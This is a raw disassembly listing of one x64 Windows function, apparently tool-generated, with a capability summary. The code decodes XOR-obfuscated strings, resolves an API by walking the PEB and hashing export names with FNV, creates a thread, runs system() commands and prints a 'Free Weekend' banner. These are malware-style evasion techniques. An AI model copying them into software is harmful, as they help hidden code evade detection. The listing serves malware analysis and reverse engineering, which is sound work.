Function at 0x1400053f0
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Execute command
Get disk information
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x790
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x1400a4080]
xor rax, rsp
mov qword [rsp + 0x750], rax
xor ebx, ebx
mov rax, qword [str.cPS_W_]
mov qword [rsp + 0x68], rax
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14008dd87], bl
je 0x1400055a3
cmp r13d, 2
jl 0x140005568
movdqa xmm4, xmmword [0x140096a90]
mov r12d, 5
movd xmm6, r12d
mov edi, Ordinal_35
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rsp + 0x68]
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rsp + 0x6c]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x1400055ae
lea r9, [rsp + 0x68]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005570
mov r12d, 5
lea edi, [r12 + 0x1a]
xorps xmm0, xmm0
movups xmmword [rsp + 0x358], xmm0
mov qword [rsp + 0x368], rbx
mov qword [rsp + 0x370], rbx
lea rax, [rsp + 0x68]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400055e0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x358]
call fcn.14000ecf0
nop
movsd xmm0, qword [0x14008ddd0]
movsd qword [rsp + 0x58], xmm0
movzx ecx, word [0x14008ddd8]
mov word [rsp + 0x60], cx
movzx eax, byte [0x14008ddda]
mov byte [rsp + 0x58], 0x6a
xor byte [rsp + 0x59], 0x35
xor byte [rsp + 0x5a], 0x36
xor byte [rsp + 0x5b], 0x37
xor byte [rsp + 0x5c], 0x38
xor byte [rsp + 0x5d], 0x39
xor byte [rsp + 0x5e], 0x3a
xor byte [rsp + 0x5f], 0x3b
xor cl, 0x3c
mov byte [rsp + 0x60], cl
xor byte [rsp + 0x61], 0x3d
xor al, 0x3e
mov byte [rsp + 0x62], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x338], xmm0
mov qword [rsp + 0x348], rbx
mov qword [rsp + 0x350], rbx
lea rax, [rsp + 0x58]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005680
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x338]
call fcn.14000ecf0
nop
movups xmm0, xmmword [0x14008dd10]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x14008dd20]
movups xmmword [rsp + 0xf0], xmm1
movups xmm0, xmmword [0x14008dd30]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [0x14008dd40]
movups xmmword [rsp + 0x110], xmm1
movzx eax, byte [0x14008dd50]
mov byte [rsp + 0x120], al
mov r8d, ebx
cmp r13d, 2
jl 0x14000583b
movdqa xmm5, xmmword [0x140096a30]
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140096a60]
movd xmm8, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xe0]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140005730
cmp r8d, 0x41
jge 0x140005883
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140005850
xorps xmm0, xmm0
movups xmmword [rsp + 0x318], xmm0
mov qword [rsp + 0x328], rbx
mov qword [rsp + 0x330], rbx
lea rax, [rsp + 0xe0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400058b0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x318]
call fcn.14000ecf0
nop
mov eax, dword [0x14008dc94]
mov dword [rsp + 0x68], eax
cmp byte [0x14008dc97], 0
je 0x1400059c3
cmp r13d, 2
jl 0x14000597a
movdqa xmm3, xmmword [0x140096a30]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140096a60]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x1400059c3
lea r9, [rsp + 0x68]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140005990
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], rbx
mov qword [rsp + 0x3b0], rbx
lea rax, [rsp + 0x68]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400059e6
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x398]
call fcn.14000ecf0
nop
movups xmm0, xmmword [str.ABGK]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x14008dd00]
movsd qword [rsp + 0xc0], xmm0
mov eax, dword [0x14008dd08]
mov dword [rsp + 0xc8], eax
movzx eax, byte [0x14008dd0c]
mov byte [rsp + 0xcc], al
mov r8d, ebx
cmp r13d, 2
jl 0x140005b9b
movdqa xmm5, xmmword [0x140096a30]
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140096a60]
movd xmm8, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb0]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005a90
cmp r8d, 0x1d
jge 0x140005be3
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140005bb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
mov qword [rsp + 0x388], rbx
mov qword [rsp + 0x390], rbx
lea rax, [rsp + 0xb0]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140005c06
mov r8, rsi
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x378]
call fcn.14000ecf0
nop
xor edx, edx
mov r8d, 0x278
lea rcx, [rsp + 0x4d0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x180], rax
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0xe0]
call fcn.14000d1f0
mov r15, rax
lea rax, [rsp + 0x290]
mov qword [rsp + 0x188], rax
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x290]
call fcn.14000d1f0
mov r14, rax
lea rax, [rsp + 0x248]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x248]
call fcn.14000d1f0
mov rsi, rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0x200]
call fcn.14000d1f0
mov rdi, rax
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x1e0]
call fcn.14000d1f0
nop
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140002500
nop
mov ecx, 8
call fcn.140079460
lea rcx, [0x140004a30]
mov qword [rax], rcx
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x2f0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400105d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x2e8], rax
test rax, rax
je 0x14000bb9c
call fcn.140004c30
lea rcx, [rsp + 0x4d0]
call fcn.140021fc0
cmp byte [rsp + 0x6e0], 0
jne 0x140005df1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.14000bc20
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140005dc5
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor dl, 0x3e
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.14000df10
mov rcx, rax
lea rdx, [rsp + 0x6e8]
call fcn.14000e350
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x14008dbb8]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x14008dbc8]
movsd qword [rsp + 0xc0], xmm0
movzx eax, word [0x14008dbd0]
mov word [rsp + 0xc8], ax
mov edi, Ordinal_35
cmp byte [0x14008dbd1], 0
je 0x140005fd3
mov r8d, ebx
cmp r13d, 2
jl 0x140005f8b
movdqa xmm5, xmmword [0x140096a30]
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140096a60]
movd xmm8, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb0]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005e80
cmp r8d, 0x1a
jge 0x140005fd3
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140005fa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000bb94
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000bb94
mov r14d, dword [rsi + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r14 + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xca5754c5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000bb8b
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006050
cmp r8d, 0xeccb099c
jne 0x14000bb8b
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0xb0]
call rdx
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_n__________________________________________n_______________________________________n_______________________________________n_________________________________________n________________________________________n_n__________________Free_Weekend_____________n_t
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov rcx, rax
lea rdx, [0x14008d5a9]
call fcn.14000df10
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008d9e8]
movsd qword [rsp + 0x190], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x190], 0xa
xor byte [rsp + 0x191], 0x35
xor byte [rsp + 0x192], 0x36
xor byte [rsp + 0x193], 0x37
xor byte [rsp + 0x194], 0x38
xor byte [rsp + 0x195], 0x39
xor byte [rsp + 0x196], 0x3a
xor byte [rsp + 0x197], 0x3b
xor al, 0x3c
mov byte [rsp + 0x198], al
lea rdx, [rsp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, r12d
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f8], xmm0
mov qword [rsp + 0x308], rbx
mov qword [rsp + 0x310], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2f8], 0
movsd xmm0, qword [0x14008da68]
movsd qword [rsp + 0x130], xmm0
mov eax, dword [0x14008da70]
mov dword [rsp + 0x138], eax
movzx eax, word [0x14008da74]
mov word [rsp + 0x13c], ax
cmp byte [0x14008da75], 0
je 0x14000632e
mov ecx, ebx
cmp r13d, 2
jl 0x1400062e5
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14008da68]
xorps xmm2, xmm0
movd dword [rsp + 0x130], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x134]
xorps xmm2, xmm1
movd dword [rsp + 0x134], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x130]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140006300
lea rdx, [rsp + 0x130]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [rsp + 0x2f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000e390
lea rcx, [0x14008d5dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xe0]
call fcn.14000d1f0
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140023870
cmp byte [rsp + 0x6e0], 0
jne 0x14000645a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.14000bc20
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x1400063dc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor dl, 0x3e
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.14000df10
mov rcx, rax
lea rdx, [rsp + 0x6e8]
call fcn.14000e350
lea r8, [rsp + 0x6e8]
lea rdx, str.Error:
lea rcx, [rsp + 0x290]
call fcn.14000e0e0
nop
lea r8, [0x14008d8f8]
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.14000dd10
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140025900
nop
lea rcx, [rsp + 0x290]
call fcn.14000d0c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str.AFSE]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x14008dcb8]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14008dcbc]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14008dcbe]
mov byte [rsp + 0x7e], al
mov r8d, ebx
mov edi, Ordinal_35
cmp r13d, 2
jl 0x1400065aa
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.AFSE]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400065c0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rbx
lea rax, [rsp + 0x70]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006620
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
call fcn.14000ecf0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x4d0]
call fcn.140025900
lea rcx, [0x14008d5dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_n__________________________________________n_______________________________________n_______________________________________n_________________________________________n________________________________________n_n__________________Free_Weekend_____________n_t
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov rcx, rax
lea rdx, [0x14008d5a9]
call fcn.14000df10
mov edx, r12d
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008ddc0]
movsd qword [rsp + 0x90], xmm0
movzx eax, word [0x14008ddc8]
mov word [rsp + 0x98], ax
cmp byte [0x14008ddc9], 0
je 0x14000671b
mov byte [rsp + 0x90], 0xa
xor byte [rsp + 0x91], 0x35
xor byte [rsp + 0x92], 0x36
xor byte [rsp + 0x93], 0x37
xor byte [rsp + 0x94], 0x38
xor byte [rsp + 0x95], 0x39
xor byte [rsp + 0x96], 0x3a
xor byte [rsp + 0x97], 0x3b
